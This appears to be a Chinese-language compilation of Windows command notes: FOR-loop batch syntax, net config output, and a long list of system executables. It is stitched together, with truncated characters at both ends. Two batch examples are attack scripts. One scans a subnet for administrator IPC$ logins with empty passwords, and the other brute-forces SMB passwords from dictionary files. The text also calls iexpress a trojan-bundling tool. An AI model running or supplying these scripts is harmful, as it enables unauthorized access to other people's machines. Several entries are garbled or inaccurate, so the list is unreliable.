iexpress-------木马捆绑工具，系统自带 
Nslookup-------IP地址侦测器 
fsmgmt.msc-----共享文件夹管理器 
utilman--------辅助工具管理器 
gpedit.msc-----组策�

批处理命令与变量 

1：for命令及变量 基本格式： 
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数，如：%i ，而指定一个变量则用：%%i ，而调用变量时用：%i% ，变量是区分大小写的（%i 不等于 %I）。 
批处理每次能处理的变量从%0—%9共10个，其中%0默认给批处理文件名使用，%1默认为使用此批处理时输入的的第一个值，同理：%2—% 9指输入的第2-9个值；例：net use $">\\ip\ipc$ pass /user:user 中ip为%1,pass为%2 ,user为%3 

(set):指定一个或一组文件，可使用通配符，如：(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值，第二个"1"指增长量，第三个"254"指结束值，即：从1到254；“(1 -1 254)”说明：即从254到1} 

command：指定对第个文件执行的命令，如：net use命令；如要执行多个命令时，命令这间加：& 来隔开 
command_parameters：为特定命令指定参数或命令行开关 

IN (set)：指在(set)中取值；DO command ：指执行command 

参数：/L 指用增量形式{(set)为增量形式时}；/F 指从文件中不断取值，直到取完为止{(set)为文件时，如(d:\pass.txt)时}。 
用法举例： 
@echo off 
echo 用法格式：test.bat *.*.* > test.txt 

for /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use \\%1.%%G /user:administrator | find "命令成功完成" >>test.txt 
存为test.bat 说明：对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接，如果成功就把该IP存在test.txt中。 

/L指用增量形式（即从1-254或254-1）；输入的IP前面三位：*.*.*为批处理默认的 %1；%%G 为变量(ip的最后一位）；& 用来隔开echo 和net use 这二个命令；| 指建立了ipc$后，在结果中用find查看是否有"命令成功完成"信息；%1.%%G 为完整的IP地址；(1 1 254) 指起始值，增长量，结止值。 
@echo off 
echo 用法格式：ok.bat ip 
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200 
存为：ok.exe 说明：输入一个IP后，用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码，直到文件中值取完为止。%%i为用户名；%1为输入的IP地址（默认）。

工作站处于活动状态（即网络描述） \软件版本（即软件版本号） \工作站域 工作站域的 DNS 名称 
登录域 \COM 打开时间超时（秒） \COM 发送量（字节） \COM 发送超时 (msec) 
CMD\输入net config workstation 更改可配置工作站服务设置。 
CMD\输入net config server 可以显示不能配置的下服务器计算机名 \服务器注释 \服务器版本（即软件版本号） 
服务器处于活动状态（即网络描述） \服务器处于隐藏状态（即 /hidden 设置） 
最大登录用户数（即可使用服务器共享资源的最大用户数） 
每个会话打开文件的最大数（即用户可在一个会话中打开服务器文件的最大数） 
空闲会话时间（最小值） 
chkdsk.exe 磁盘检查. 
Chkdsk /r 2000命令控制台中的Chkdsk /r命令检查修复系统文件 
cleanmgr 垃圾整理 
Clipbrd 剪贴板查看器 
C:boot.ini 打开启动菜单 
compact.exe 显示或改变NTFS分区上文件的压缩状态 
conime.exe IME控制台 
control.exe 控制面板 
convert.exe NTFS 转换文件系统到NTFS 
convlog.exe 转换IIS日志文件格式到NCSA格式 
cprofile.exe 转换显示模式 
cscript.exe 较本宿主版本 
csrss.exe 客户服务器Runtime进程 (XP不可用) 
csvde.exe 格式转换程序 (XP不可用) 
dcpromo 活动目录安装(XP不可用) 
drwtsn32 系统医生 
diskmgmt.msc 磁盘管理器(和PowerQuest PartitionMagic 8.0) 
dvdplay DVD 播放器 
devmgmt.msc 设备管理器(检查电脑硬件,驱动) 
dxdiag 检查DirectX信息 
dcomcnfg.exe DCOM配置属性 (控制台根目录) 
dcpromo.exe 安装向导 (XP不可用) 
ddeshare.exe DDE共享 
debug.exe 检查DEBUG 
dfrgfat.exe FAT分区磁盘碎片整理程序 
dfrgntfs.exe NTFS分区磁盘碎片整理程序 (XP不可用) 
dfs_cmd_.exe 配置DFS树 (XP不可用) 
dfsinit.exe 分布式文件系统初始化(XP不可用) 
dfssvc.exe 分布式文件系统服务器 (XP不可用) 
diantz.exe 制作CAB文件 
diskperf.exe 磁盘性能计数器 
dmremote.exe 磁盘管理服务的一部分 (XP不可用) 
doskey.exe 命令行创建宏 
dosx.exe DOS扩展 
dplaysvr.exe 直接运行帮助 (XP不可用) 
drwatson.exe 华生医生错误检测 
drwtsn32.exe 华生医生显示和配置管理 
dvdplay.exe DVD播放 
dxdiag.exe Direct-X诊断工具 
edlin.exe 命令行的文本编辑 
esentutl.exe MS数据库工具 
eudcedit.exe 造字程序 
eventvwr.exe 事件查看器 
exe2bin.exe 转换EXE文件到二进制 
expand.exe 解压缩 
extrac32.exe 解CAB工具 
fsmgmt.msc 共享文件夹 
fastopen.exe 快速访问在内存中的硬盘文件 
faxcover.exe 传真封面编辑 
faxqueue.exe 显示传真队列 
faxsend.exe 发送传真向导 
faxsvc.exe 启动传真服务 
fc.exe 比较两个文件的不同 
find.exe 查找文件中的文本行 
findstr.exe 查找文件中的行 
finger.exe 一个用户并显示出统计结果 
fixmapi.exe 修复MAPI文件 
flattemp.exe 允许或者禁用临时文件目录 (XP不可用) 
fontview.exe 显示字体文件中的字体 
forcedos.exe 强制文件在DOS模式下运行 
ftp.exe FTP下载 
gpedit.msc 组策略 
gdi.exe 图形界面驱动 
grpconv.exe 转换程序管理员组 
hostname.exe 显示机器的Hostname 
Internat 输入法图标 
iexpress 木马捆绑工具，系统自带 
ieshwiz.exe 自定义文件夹向导

iexpress.exe iexpress安装包 
iisreset.exe 重启IIS服务(未安装IIS,不可用) 
internat.exe 键盘语言指示器 (XP不可用) 
ipconfig.exe 查看IP配置 
ipsecmon.exe IP安全监视器 
ipxroute.exe IPX路由和源路由控制程序 
irftp.exe 无线连接 
ismserv.exe 安装或者删除Service Control Manager中的服务 
jdbgmgr.exe Java4的调试器 
jetconv.exe 转换Jet Engine数据库 (XP不可用) 
jetpack.exe 压缩Jet数据库 (XP不可用) 
jview.exe Java的命令行装载者 
label.exe 改变驱动器的卷标 
lcwiz.exe 许可证向导 (XP不可用) 
ldifde.exe LDIF目录交换命令行管理 (XP不可用) 
licmgr.exe 终端服务许可协议管理 (XP不可用) 
lights.exe 显示连接状况 (XP不可用) 
llsmgr.exe Windows 2000 许可协议管理 (XP不可用) 
llssrv.exe 启动许可协议服务器 (XP不可用) 
locator.exe RPC Locator 远程定位 
lodctr.exe 调用性能计数 
logoff.exe 注销当前用户 
lpq.exe 显示远端的LPD打印队列的状态，显示被送到基于Unix的服务器的打印任务 
lpr.exe 用于Unix客户打印机将打印任务发送给连接了打印设备的NT的打印机服务器。 
lsass.exe 运行LSA和Server的DLL 
lserver.exe 指定默认Server新的DNS域 (XP不可用) 
lusrmgr.msc 本地账户管理 
mmc 控制台 
mplayer2 播放器 
macfile.exe 管理MACFILES (XP不可用) 
magnify.exe 放大镜 
makecab.exe 制作CAB文件 
mem.exe 显示内存状态 
migpwd.exe 迁移密码 
mmc.exe 控制台 
mnmsrvc.exe 远程桌面共享 
mobsync.exe 同步目录管理器 
mountvol.exe 创建、删除或列出卷的装入点。 
mplay32.exe Media Player 媒体播放器 
mpnotify.exe 通知应用程序 
mqbkup.exe 信息队列备份和恢复工具 
mqmig.exe MSMQ Migration Utility 信息队列迁移工具 
mrinfo.exe 使用SNMP多点传送路由 
mscdexnt.exe 安装MSCD 
msdtc.exe 动态事务处理控制台 
msg.exe 发送消息到本地或远程客户 
mshta.exe HTML应用程序主机 
msiexec.exe 开始Windows安装程序 
mspaint.exe 打开画图板 
mstask.exe 任务计划表程序 
mstinit.exe 任务计划表安装 
Msconfig.exe 系统配置实用程序 (配置启动选项,服务项) 
mem.exe 显示内存使用情况 
mspaint 画图板 
Net Stop Messenger 停止信使服务 
Net Start Messenger 恢复信使服务 
nslookup 网络管理的工具 
Nslookup IP 地址侦测器 
ntbackup 系统备份和还原 
nbtstat.exe 使用 NBT（TCP/IP 上的 NetBIOS）显示协议统计和当前 TCP/IP 连接。 
nddeapir.exe NDDE API服务器端 
netsh.exe 用于配置和监控 Windows 2000 命令行脚本接口(XP不可用) 
netstat.exe 显示协议统计和当前的 TCP/IP 网络连接。 
nlsfunc.exe 加载特定国家的信息。Windows 2000 和 MS-DOS 子系统不使用该命令接受该命令只是为了与 MS-DOS 文件兼容。 
notepad.exe 打开记事本 
nslookup.exe 该诊断工具显示来自域名系统 (DNS) 名称服务器的信息。 
ntbackup.exe 备份和故障修复工具 
ntfrs.exe NT文件复制服务 (XP不可用) 
ntvdm.exe 模拟16位Windows环境 
nw16.exe NetWare转向器 
nwscript.exe 运行Netware脚本 
odbcad32.exe 32位ODBC数据源管理 (驱动程序管理) 
odbcconf.exe 命令行配置ODBC驱动和数据源 
packager.exe 对象包装程序 
pathping.exe 包含Ping和Tracert的程序 
pentnt.exe 检查Pentium的浮点错误 
perfmon.exe 系统性能监视器 
ping.exe 验证与远程计算机的连接 
posix.exe 用于兼容Unix 
print.exe 打印文本文件或显示打印队列的内容。 
progman.exe 程序管理器 
psxss.exe Posix子系统应用程序 
qappsrv.exe 在网络上显示终端服务器可用的程序 
qprocess.exe 在本地或远程显示进程的信息（需终端服务） 
query.exe 查询进程和对话 (XP不可用) 
quser.exe 显示用户登陆的信息（需终端服务） 
qwinsta.exe 显示终端服务的信息 
rononce -p 15秒关机 
rasAdmin 远程访问服务. 
regedit.exe 注册表编辑器 
rasadmin.exe 启动远程访问服务 (XP不可用) 
rasautou.exe 建立一个RAS连接 
rasdial.exe 宽带,拨号连接 
ras.exe 运行RAS连接 (XP不可用) 
rcp.exe 计算机和运行远程外壳端口监控程序 rshd 的系统之间复制文件 
rdpclip.exe 终端和本地复制和粘贴文件 
recover.exe 从坏的或有缺陷的磁盘中恢复可读取的信息。

redir.exe 运行重定向服务 
regedt32.exe 32位注册服务 
regini.exe 用脚本修改注册许可 
regwiz.exe 注册向导 
replace.exe 用源目录中的同名文件替换目标目录中的文件。 
rexec.exe rexec 命令在执行指定命令前，验证远程计算机上的用户名，只有安装了 TCP/IP 协议后才可以使用该命令。 
risetup.exe 运行远程安装向导服务 (XP不可用) 
route.exe 控制网络路由表 
rsh.exe 在运行 RSH 服务的远程计算机上运行命令 
rsnotify.exe 远程存储通知回显 
runas.exe 允许用户用其他权限运行指定的工具和程序 
rundll32.exe 启动32位DLL程序 
rwinsta.exe 重置会话子系统硬件和软件到最初的值 
Sndvol32 音量控制程序 
sfc.exe 或CMD\ sfc.exe 回车 系统文件检查器 
services.msc 网络连接服务 
syskey 系统加密，(一旦加密就不能解开，保护windows xp系统的双重密码wupdmgr WIDNOWS UPDATE) 
SCANREG/RESTORE 命令恢复最近的注册表 
secedit.exe 自动化安全性配置管理 
services.exe 控制所有服务 
sethc.exe 设置高对比 
setver.exe 设置 MS-DOS 子系统向程序报告的 MS-DOS 版本号 
sfc.exe 系统文件检查 
shadow.exe 监控另外一台中端服务器会话 
shrpubw.exe 建立和共享文件夹 
sigverif.exe 文件签名验证 
smlogsvc.exe 性能日志和警报 (XP不可用) 
sndrec32.exe 录音机 
sndvol32.exe 显示声音控制信息 
snmp.exe 简单网络管理协议 (XP不可用) 
snmptrap.exe SNMP工具 (XP不可用) 
srvmgr.exe 服务器管理器 (XP不可用) 
subst.exe 将路径与驱动器盘符关联 
sysedit.exe 系统配置编辑器 
syskey.exe NT账号数据库加密工具 
sysocmgr.exe > Windows 安装程序 
systray.exe 在低权限运行systray 
taskmgr 任务管理器 
tasklist /svc(CMD)了解每个SVCHOST进程到底提供了多少系统服务(2000\98不可用)

Alt+F7：清除所有曾经输入的命令历史记录； 
Alt+PrintScreen：截取屏幕上当前命令窗里的内容。 
病毒破坏了系统文件，请使用杀毒软件查杀病毒，然后利用Windows 2000提供的“命令控制台”中的Chkdsk /r命令检查修复系统文件即可�